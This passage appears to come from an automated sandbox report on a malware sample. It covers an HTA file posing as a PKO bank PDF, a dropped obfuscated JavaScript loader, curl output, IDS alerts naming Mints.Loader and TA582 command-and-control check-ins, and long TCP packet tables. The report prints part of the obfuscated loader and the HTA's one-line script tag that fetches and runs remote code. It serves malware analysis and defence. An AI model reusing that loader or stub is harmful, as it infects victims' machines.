(0xe58 + -0x1 * -0x1cc3 + -0x3 * 0xe49) + tHewith : tHewith, Courtvii++ % (0x16 * 0x69 + 0x1 * 0x1e1

C:\Users\user\AppData\Local\Temp\djtukm.js

Download File

Process:	C:\Windows\SysWOW64\wscript.exe
File Type:	ISO-8859 text, with very long lines (1862)
Category:	dropped
Size (bytes):	171907
Entropy (8bit):	4.833753778274062
Encrypted:	false
SSDEEP:	1536:nwEu0H73xGXlMNyFUblZBc8VnTH73XGXlMNyFUblZBc8VnqGXlMNyFUblZBc8VnU:n7RWA
MD5:	0C52384019AB0139BA49E4695C3E3C7F
SHA1:	87CB1A1957E17CDD838C87FC7734CEBF22011FFE
SHA-256:	B371ACB61C4B05F3672C3EE84C7674B953DA18FA08292A1E4298422EDBF07161
SHA-512:	B6DB8662AC1ED6ACB745F047FA4DA70E68862578B9BAD0E08E6F8F2D600C39E1B2C8001EB9C13228DE9AB7CFA78C17F51D2F4DA2298DEE41FFEF6D68529803A5
Malicious:	false
Preview:	var thehis0wouldsovereignty = thehis0thewith;.function thehis0thewith(nothistory, thewith) {. var wouldsovereignty = thehis0nothistory();. thehis0thewith = function (andrewforces, suchthe) {. andrewforces = andrewforces - (0x517 * 0x1 + 0x16be + 0x1a8a * -0x1);. var ourtypos = wouldsovereignty[andrewforces];. if (thehis0thewith['FzvcMl'] === undefined) {. var courtvii = function (Ourtypos) {. var Andrewforces = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';. var Suchthe = '';. var Wouldsovereignty = '';. for (var Courtvii = 0x1454 + -0x6a1 + -0x1 * 0xdb3, sUchthe, tHewith, wOuldsovereignty = -0x1462 + -0x21e3 * 0x1 + 0x1217 * 0x3; tHewith = Ourtypos['charAt'](wOuldsovereignty++); ~tHewith && (sUchthe = Courtvii % (0x441 * 0x3 + -0x9 * 0x233 + -0x70c * -0x1) ? sUchthe * (0xe58 + -0x1 * -0x1cc3 + -0x3 * 0xe49) + tHewith : tHewith, Courtvii++ % (0x16 * 0x69 + 0x1 * 0x1e1

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with CR, LF line terminators
Category:	dropped
Size (bytes):	478
Entropy (8bit):	2.9537005739673186
Encrypted:	false
SSDEEP:	6:I2swj2SAykymUeg/8Uni1qSgOgcdSgOgcdivIdjuUcgon:Vz6ykymUexb1U9cL9cddEt
MD5:	6B09E7B761AA86A55094F8790726C092
SHA1:	C4EFECA12E6DC210AC41484FF635AEF1D08CEAAD
SHA-256:	C2C5485D46210F8DC15EF0C2B75F85BF948AE03700FCF3A00BFA4E09615E6EF1
SHA-512:	68D84B939E4DBB9F58AA3A456458CC0B8A8D3F8EE34AD8B606D9F5D8E57E4B816BC2A9EB4CA05DE206A28A2C87378838023C3F103DFF5ADDEC052B6A7450B7D0
Malicious:	false
Preview:	% Total % Received % Xferd Average Speed Time Time Time Current.. Dload Upload Total Spent Left Speed... 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0. 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0. 0 0 0 0 0 0 0 0 --:--:-- 0:00:01 --:--:-- 0.100 1926 100 1926 0 0 961 0 0:00:02 0:00:02 --:--:-- 962..

Static File Info

General

File type:	HTML document, ASCII text
Entropy (8bit):	4.9469926695127375
TrID:	HyperText Markup Language (12001/1) 66.65% HyperText Markup Language (6006/1) 33.35%
File name:	PKO_0019289289544_PDF_#U2463#U2466#U2465#U2462#U2461#U2466#U2464#U2462.hta
File size:	136 bytes
MD5:	80acb2df20b8aa675a02058a2a5a7cbb
SHA1:	ab0fb4d7568de09e774b0a47c08d156084f642c4
SHA256:	bf2df69719d5cebbeca305ca64b8327b26c5b0312a516467b80034c3735dbd25
SHA512:	a093090c8f1b65ff62f6de3a2e4f9f49d7a130b91434f9ed6dbf71bc85d5039087fc83c7b71ba11b1ce3767218e3b9e8a61276b371a45bbe2af1e2d9174cacf9
SSDEEP:	3:qVvzLDLvLK4n8RD5BIScQx2vcQLxWLmvGXIL0NhtvxL0Hac4NGb:qFzLPvLKKA5Bk+2v3MsV4Nhdx434Qb
TLSH:	7AC02BFF0C41C300D0105488186D93044037030C0080C81003E0C2AAF340D65AC071A5
File Content Preview:	<html>.<head>.<script src="https://file-download.bytez.cloud/676556be12355/js/676556be11f48.js"></script>.</head>.<body>.</body>.</html>

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-20T12:39:42.038187+0100	2057063	ET MALWARE Mints.Loader CnC Activity (GET)	1	192.168.2.4	49748	206.188.197.242	80	TCP
2024-12-20T12:39:42.038187+0100	2057743	ET MALWARE TA582 CnC Checkin	1	192.168.2.4	49748	206.188.197.242	80	TCP
2024-12-20T12:39:42.053906+0100	2057063	ET MALWARE Mints.Loader CnC Activity (GET)	1	192.168.2.4	49747	206.188.197.242	80	TCP
2024-12-20T12:39:42.053906+0100	2057743	ET MALWARE TA582 CnC Checkin	1	192.168.2.4	49747	206.188.197.242	80	TCP
2024-12-20T12:40:04.070681+0100	2057063	ET MALWARE Mints.Loader CnC Activity (GET)	1	192.168.2.4	49755	206.188.197.242	80	TCP
2024-12-20T12:40:04.070681+0100	2057743	ET MALWARE TA582 CnC Checkin	1	192.168.2.4	49755	206.188.197.242	80	TCP
2024-12-20T12:40:04.085365+0100	2057063	ET MALWARE Mints.Loader CnC Activity (GET)	1	192.168.2.4	49754	206.188.197.242	80	TCP
2024-12-20T12:40:04.085365+0100	2057743	ET MALWARE TA582 CnC Checkin	1	192.168.2.4	49754	206.188.197.242	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 12:39:01.374591112 CET	49731	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:01.374646902 CET	443	49731	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:01.374730110 CET	49731	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:01.393395901 CET	49731	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:01.393414021 CET	443	49731	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:02.829689980 CET	443	49731	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:02.829811096 CET	49731	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:03.089860916 CET	49731	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:03.089922905 CET	443	49731	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:03.090897083 CET	443	49731	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:03.090981007 CET	49731	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:03.297286987 CET	49731	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:03.339334965 CET	443	49731	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:03.717327118 CET	443	49731	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:03.717401028 CET	49731	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:03.717431068 CET	443	49731	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:03.717482090 CET	49731	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:03.719595909 CET	443	49731	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:03.719655037 CET	49731	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:03.719753027 CET	443	49731	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:03.719805956 CET	49731	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:03.719826937 CET	49731	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:03.719840050 CET	443	49731	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:03.746639013 CET	49732	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:03.746676922 CET	443	49732	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:03.746757030 CET	49732	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:03.747051954 CET	49732	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:03.747061014 CET	443	49732	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:05.171140909 CET	443	49732	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:05.171231985 CET	49732	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:05.172991037 CET	49732	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:05.173036098 CET	443	49732	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:05.173197985 CET	49732	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:05.173211098 CET	443	49732	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:05.706985950 CET	443	49732	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:05.707102060 CET	49732	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:05.707134962 CET	443	49732	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:05.707165956 CET	443	49732	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:05.707199097 CET	49732	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:05.707231045 CET	49732	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:05.707778931 CET	49732	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:05.707808971 CET	443	49732	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:06.693727016 CET	49738	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:06.693774939 CET	443	49738	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:06.693881035 CET	49738	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:06.702800989 CET	49738	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:06.702811003 CET	443	49738	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:08.118323088 CET	443	49738	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:08.118402958 CET	49738	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:08.120078087 CET	49738	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:08.120088100 CET	443	49738	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:08.120408058 CET	443	49738	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:08.123729944 CET	49738	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:08.171334028 CET	443	49738	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:08.647392035 CET	443	49738	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:08.647428036 CET	443	49738	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:08.647615910 CET	49738	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:08.647633076 CET	443	49738	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:08.647943974 CET	443	49738	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:08.648159981 CET	49738	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:08.821626902 CET	49738	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:08.821669102 CET	443	49738	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:10.757194042 CET	49740	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:10.757292986 CET	443	49740	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:10.757673979 CET	49740	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:10.773675919 CET	49740	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:10.773714066 CET	443	49740	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:11.023646116 CET	49741	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:11.023705959 CET	443	49741	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:11.023792028 CET	49741	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:11.042814970 CET	49741	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:11.042829990 CET	443	49741	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:12.193013906 CET	443	49740	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:12.193113089 CET	49740	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:12.197257996 CET	49740	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:12.197279930 CET	443	49740	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:12.198235035 CET	443	49740	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:12.198348045 CET	49740	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:12.199729919 CET	49740	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:12.247333050 CET	443	49740	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:12.463640928 CET	443	49741	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:12.463721037 CET	49741	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:12.468061924 CET	49741	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:12.468074083 CET	443	49741	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:12.468425989 CET	443	49741	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:12.468606949 CET	49741	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:12.470052004 CET	49741	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:12.511324883 CET	443	49741	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:12.725547075 CET	443	49740	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:12.725605965 CET	443	49740	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:12.725635052 CET	49740	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:12.725718021 CET	443	49740	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:12.725759983 CET	49740	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:12.725785971 CET	49740	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:12.726414919 CET	443	49740	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:12.726494074 CET	49740	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:12.726552010 CET	443	49740	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:12.726650953 CET	49740	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:12.727155924 CET	49740	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:12.727186918 CET	443	49740	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:12.742418051 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:12.742464066 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:12.742542028 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:12.742769957 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:12.742782116 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:13.007040024 CET	443	49741	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:13.007132053 CET	443	49741	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:13.007163048 CET	49741	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:13.007196903 CET	443	49741	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:13.007219076 CET	49741	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:13.007227898 CET	443	49741	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:13.007277012 CET	49741	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:13.008399963 CET	49741	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:13.008418083 CET	443	49741	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:13.020039082 CET	49744	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:13.020100117 CET	443	49744	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:13.020283937 CET	49744	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:13.020513058 CET	49744	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:13.020529032 CET	443	49744	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:14.167139053 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:14.167349100 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:14.167954922 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:14.167967081 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:14.168179035 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:14.168184996 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:14.437524080 CET	443	49744	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:14.437648058 CET	49744	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:14.438153982 CET	49744	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:14.438168049 CET	443	49744	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:14.438594103 CET	49744	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:14.438601971 CET	443	49744	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:14.710589886 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:14.710624933 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:14.710725069 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:14.710757017 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:14.710827112 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:14.710858107 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:14.828526020 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:14.828644991 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:14.913799047 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:14.913922071 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:14.936244011 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:14.936346054 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:14.966286898 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:14.966383934 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:14.978782892 CET	443	49744	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:14.978805065 CET	443	49744	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:14.978879929 CET	49744	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:14.978920937 CET	443	49744	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:14.978940010 CET	49744	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:14.978982925 CET	49744	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.005583048 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.005695105 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.096736908 CET	443	49744	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.096841097 CET	49744	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.098679066 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.098768950 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.112127066 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.112211943 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.125006914 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.125102043 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.142486095 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.142575979 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.155575991 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.155658960 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.168842077 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.168931961 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.183031082 CET	443	49744	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.183175087 CET	49744	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.186435938 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.186573029 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.205059052 CET	443	49744	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.205144882 CET	49744	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.218607903 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.218692064 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.234713078 CET	443	49744	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.234824896 CET	49744	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.278024912 CET	443	49744	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.278132915 CET	49744	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.288546085 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.288634062 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.297691107 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.297781944 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.306140900 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.306215048 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.317385912 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.317472935 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.325802088 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.325903893 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.334404945 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.334491968 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.343775034 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.343863010 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.348992109 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.349104881 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.354279995 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.354391098 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.360526085 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.360661030 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.365900993 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.366008997 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.367861986 CET	443	49744	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.368071079 CET	49744	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.380476952 CET	443	49744	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.380692005 CET	49744	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.387687922 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.387773037 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.387782097 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.387833118 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.387844086 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.387901068 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.387983084 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.387995958 CET	443	49743	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.388027906 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.388058901 CET	49743	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.393023014 CET	443	49744	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.393110037 CET	49744	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.409902096 CET	443	49744	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.409990072 CET	49744	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.422543049 CET	443	49744	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.422631025 CET	49744	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.435362101 CET	443	49744	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.435452938 CET	49744	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.452229023 CET	443	49744	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.452315092 CET	49744	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.491051912 CET	443	49744	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.491154909 CET	49744	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.557926893 CET	443	49744	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.558026075 CET	49744	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.566550016 CET	443	49744	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.566673994 CET	49744	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.574548006 CET	443	49744	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.574678898 CET	49744	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.584728003 CET	443	49744	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.584837914 CET	49744	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.592417002 CET	443	49744	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.592500925 CET	49744	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.600138903 CET	443	49744	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.600222111 CET	49744	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.609481096 CET	443	49744	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.609549999 CET	49744	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.611342907 CET	443	49744	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.611418009 CET	443	49744	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:15.611443043 CET	49744	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.611474991 CET	49744	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.627023935 CET	49744	443	192.168.2.4	78.138.9.153
Dec 20, 2024 12:39:15.627053022 CET	443	49744	78.138.9.153	192.168.2.4
Dec 20, 2024 12:39:20.011337042 CET	49747	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:39:20.011635065 CET	49748	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:39:20.131055117 CET	80	49747	206.188.197.242	192.168.2.4
Dec 20, 2024 12:39:20.131226063 CET	80	49748	206.188.197.242	192.168.2.4
Dec 20, 2024 12:39:20.131283045 CET	49747	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:39:20.132489920 CET	49748	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:39:20.133955956 CET	49747	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:39:20.134260893 CET	49748	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:39:20.253573895 CET	80	49747	206.188.197.242	192.168.2.4
Dec 20, 2024 12:39:20.253777981 CET	80	49748	206.188.197.242	192.168.2.4
Dec 20, 2024 12:39:42.038085938 CET	80	49748	206.188.197.242	192.168.2.4
Dec 20, 2024 12:39:42.038187027 CET	49748	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:39:42.049096107 CET	49748	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:39:42.052606106 CET	49754	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:39:42.053843975 CET	80	49747	206.188.197.242	192.168.2.4
Dec 20, 2024 12:39:42.053905964 CET	49747	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:39:42.056391954 CET	49747	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:39:42.057991028 CET	49755	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:39:42.168742895 CET	80	49748	206.188.197.242	192.168.2.4
Dec 20, 2024 12:39:42.172388077 CET	80	49754	206.188.197.242	192.168.2.4
Dec 20, 2024 12:39:42.172497988 CET	49754	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:39:42.172713041 CET	49754	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:39:42.175988913 CET	80	49747	206.188.197.242	192.168.2.4
Dec 20, 2024 12:39:42.178070068 CET	80	49755	206.188.197.242	192.168.2.4
Dec 20, 2024 12:39:42.178148985 CET	49755	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:39:42.178459883 CET	49755	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:39:42.294538975 CET	80	49754	206.188.197.242	192.168.2.4
